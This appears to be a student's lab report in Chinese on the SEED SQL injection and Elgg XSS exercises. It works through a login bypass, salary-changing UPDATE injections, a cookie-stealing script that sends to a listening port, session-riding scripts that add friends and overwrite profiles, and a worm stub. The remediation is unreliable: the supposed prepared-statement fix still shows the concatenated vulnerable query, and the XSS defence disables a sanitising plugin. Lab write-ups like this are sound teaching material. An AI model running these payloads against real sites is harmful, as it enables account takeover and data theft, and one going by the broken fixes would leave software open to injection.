第十次作业 Web应用程序安全攻防
实验要求
SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
- 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
- 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
- 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
- SQL对抗:修复上述SQL注入攻击漏洞。
二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
- 弹窗显示cookie信息:将cookie信息显示。
- 窃取受害者的cookies:将cookie发送给攻击者。
- 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
- 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
- 编写XSS蠕虫。
- 对抗XSS攻击。
实验过程
SEED SQL注入攻击与防御实验
熟悉SQL语句
启动apache服务
service apache2 start
查看user表
use Users;
show tables;
查看员工信息
select * from credential;
对SELECT语句的SQL注入攻击
关闭PHP提供了自动对抗SQL注入的机制,并重启apache
vim /etc/php5/apache2/php.ini
将“magic_quotes_gpc = on”修改为“magic_quotes_gpc = off”
service apache2 restart
访问www.sqllabmysqlphpbb.com登录界面,用户名键入“admin'#”,密码为空
可以看到我们已经成功绕过登录
对UPDATE语句的SQL注入攻击
登录Alice的账号
在NickName那里输入语句
', salary='500000' where EID='10000';#
可以看到Alice的工资已经被修改
先登录Boby账号查看工资
Alice修改的界面的nickname输入语句
', salary='1' where name='Boby';#
可以看到Boby的工资已经被成功修改
SQL对抗:修复上述SQL注入攻击漏洞
将unsafe_home.php中sql处理代码修改如下。我们使用了预处理代码,然后进行了参数的绑定,绑定了用户名和hash之后的密码。又进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。
SELECT语句代码和数据放在一起,所以容易遭受攻击。下面我们进行代码的修改。
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
if (!$result = $conn->query($sql)) {
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
die('There was an error running the query [' . $conn->error . ']\n');
echo "</div>";
}
/* convert the select return result into array type */
$return_arr = array();
while($row = $result->fetch_assoc()){
array_push($return_arr,$row);
}
/* convert the array type to json format and read out*/
$json_str = json_encode($return_arr);
$json_a = json_decode($json_str,true);
$id = $json_a[0]['id'];
$name = $json_a[0]['name'];
$eid = $json_a[0]['eid'];
$salary = $json_a[0]['salary'];
$birth = $json_a[0]['birth'];
$ssn = $json_a[0]['ssn'];
$phoneNumber = $json_a[0]['phoneNumber'];
$address = $json_a[0]['address'];
$email = $json_a[0]['email'];
$pwd = $json_a[0]['Password'];
$nickname = $json_a[0]['nickname'];
当我们再次使用“Alice'#”的方式去绕过登录时,发现无法进入并且报错。
将unsafe_edit_backend.php中的代码修改为下
if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
$sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
$sql->execute();
$sql->close();
}else{
// if passowrd field is empty.
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);
$sql->execute();
$sql->close();
}
当我们继续使用', salary='100' where name='Boby';#去修改Boby的工资时,发现整个字符串都被打印在了NickName中,修改工资却没有成功。
SEED XSS跨站脚本攻击实验(Elgg)
发布恶意消息,显示警报窗口
访问www.xsslabelgg.com,使用Alice的用户名alice和密码seedalice登录
点击edit profie,在Brief description中写入代码
<script>alert('XSS');</script>
使用Boby的账号访问Alice的主页,看到xss弹窗,攻击成功
弹窗显示cookie信息
将填入的代码改为
<script> alert(document.cookie);</script>
使用Boby的账号访问Alice的主页可以看到弹窗
窃取受害者的cookies
使用JavaScript将cookies发送到攻击者机器的5555端口
<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>
在终端中开启监听
nc -l 5555 -v
使用boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息
成为受害者的朋友
在Alice的about me中添加Javascript代码(这里要使用edit HTML模式)
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
用boby访问alice的主页,boby就会自动加alice为好友。
修改受害者的信息
同样在about me中构造的js程序
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
用boby访问Alice的profile,即可成功修改boby的profile
编写XSS蠕虫
<script id="worm" type ="text/javascript">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
通过boby访问Alice的profile发现这段代码已经被成功的复制
对抗XSS攻击
我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed关闭它。
查看Alice的profile,看看有没有效果了。可以看到,这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。
心得体会
学习到了web攻击以及攻击防范的基本原理